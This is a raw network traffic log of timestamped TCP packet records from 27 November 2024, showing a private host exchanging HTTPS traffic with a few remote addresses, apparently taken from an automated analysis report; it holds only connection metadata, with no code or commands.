Nov 27, 2024 11:14:34.515523911 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.520059109 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.520262003 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.520267010 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.520309925 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.520844936 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.520860910 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.520909071 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.520939112 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.520956039 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.520976067 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.528733015 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.528753996 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.528793097 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.528796911 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.528829098 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.528839111 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.530953884 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.530971050 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.531025887 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.531054974 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.531075001 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.531105042 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.537462950 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.537537098 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.537542105 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.537580967 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.542927980 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.542943954 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.543024063 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.543029070 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.544672966 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.545804977 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.545819998 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.545869112 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.545897007 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.545922995 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.545948029 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.558387995 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.558491945 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.558521986 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.560659885 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.561522961 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.561537027 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.561619043 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.561649084 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.561685085 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.572916985 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.572964907 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.572992086 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.573014975 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.573044062 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.573064089 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.573795080 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.573862076 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.573879004 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.573932886 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.579968929 CET	443	49800	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.580034971 CET	49800	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.588219881 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.588249922 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.588296890 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.588323116 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.588341951 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.588370085 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.589178085 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.589251995 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.589276075 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.589546919 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.603384972 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.603415012 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.603477001 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.603485107 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.603533983 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.603545904 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.609679937 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.609752893 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.609761000 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.609843016 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.613280058 CET	443	49798	23.218.208.109	192.168.2.6
Nov 27, 2024 11:14:34.613349915 CET	443	49798	23.218.208.109	192.168.2.6
Nov 27, 2024 11:14:34.613600016 CET	49798	443	192.168.2.6	23.218.208.109
Nov 27, 2024 11:14:34.615797997 CET	49798	443	192.168.2.6	23.218.208.109
Nov 27, 2024 11:14:34.615818024 CET	443	49798	23.218.208.109	192.168.2.6
Nov 27, 2024 11:14:34.615833044 CET	49798	443	192.168.2.6	23.218.208.109
Nov 27, 2024 11:14:34.615839005 CET	443	49798	23.218.208.109	192.168.2.6
Nov 27, 2024 11:14:34.616127968 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.616156101 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.616283894 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.616297007 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.616358995 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.625135899 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.625221014 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.625248909 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.625296116 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.631200075 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.631227970 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.631320953 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.631320953 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.631344080 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.631448984 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.637042999 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.637070894 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.637139082 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.637152910 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.637191057 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.637216091 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.642954111 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.643042088 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.643065929 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.643126011 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.645164013 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.645188093 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.645240068 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.645246983 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.645289898 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.648479939 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.648497105 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.648547888 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.648559093 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.648608923 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.648618937 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.652656078 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.652688980 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.652734995 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.652748108 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.652791023 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.652810097 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.654577971 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.654604912 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.654648066 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.654654980 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.654691935 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.654709101 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.659245968 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.659260988 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.659317970 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.659324884 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.659358025 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.659375906 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.663810968 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.663840055 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.663928032 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.663940907 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.663980961 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.664011002 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.666171074 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.666199923 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.666259050 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.666265965 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.666311026 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.668576002 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.668602943 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.668651104 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.668657064 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.668692112 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.668710947 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.674173117 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.674206018 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.674263000 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.674276114 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.674319983 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.674334049 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.676873922 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.676898956 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.676953077 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.676960945 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.677011013 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.679112911 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.679132938 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.679203033 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.679208994 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.679251909 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.683309078 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.683348894 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.683387041 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.683398962 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.683429956 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.683445930 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.685838938 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.685862064 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.685906887 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.685910940 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.685961962 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.689011097 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.689028025 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.689080954 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.689085007 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.689131975 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.694346905 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.694370985 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.694421053 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.694434881 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.694463015 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.694484949 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.696419001 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.696443081 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.696485043 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.696492910 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.696543932 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.699543953 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.699563980 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.699613094 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.699619055 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.699644089 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.699664116 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.703238964 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.703268051 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.703332901 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.703350067 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.703382969 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.703393936 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.705224991 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.705260038 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.705291986 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.705296993 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.705337048 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.710241079 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.710258007 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.710309982 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.710318089 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.710350990 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.713653088 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.713680029 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.713763952 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.713789940 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.713829041 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.715056896 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.715085983 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.715153933 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.715162039 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.715198994 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.720309973 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.720390081 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.720415115 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.720458984 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.723973989 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.724004030 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.724066019 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.724076033 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.724113941 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.725003958 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.725035906 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.725060940 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.725066900 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.725092888 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.725110054 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.735591888 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.735676050 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.735697985 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.735738993 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.746396065 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.746475935 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.746504068 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.746705055 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.751029968 CET	443	49799	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:34.759906054 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.759970903 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.759996891 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.760042906 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.760245085 CET	49799	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:34.760258913 CET	443	49799	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:34.760721922 CET	49799	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:34.760726929 CET	443	49799	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:34.769609928 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.769709110 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.769731998 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.769773006 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.771176100 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.771200895 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.771266937 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.771279097 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.771317005 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.771341085 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.777744055 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.777842045 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.777853966 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.777944088 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.783157110 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.783191919 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.783250093 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.783257008 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.783329010 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.785037994 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.785120964 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.785135984 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.785224915 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.790538073 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.790601015 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.790608883 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.790774107 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.794754982 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.794778109 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.794836044 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.794842005 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.794882059 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.794894934 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.796154022 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.796222925 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.796231031 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.796361923 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.802500963 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.802594900 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.802617073 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.802711964 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.806408882 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.806442022 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.806494951 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.806504965 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.806549072 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.806564093 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.809839964 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.809926033 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.809936047 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.809977055 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.815248966 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.815347910 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.815370083 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.815484047 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.816581011 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.816601992 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.816643000 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.816649914 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.816679955 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.816695929 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.823724031 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.823801041 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.823813915 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.823934078 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.828649044 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.828680038 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.828718901 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.828728914 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.828771114 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.828788042 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.832253933 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.832278967 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.832317114 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.832348108 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.832366943 CET	49794	443	192.168.2.6	150.171.27.10
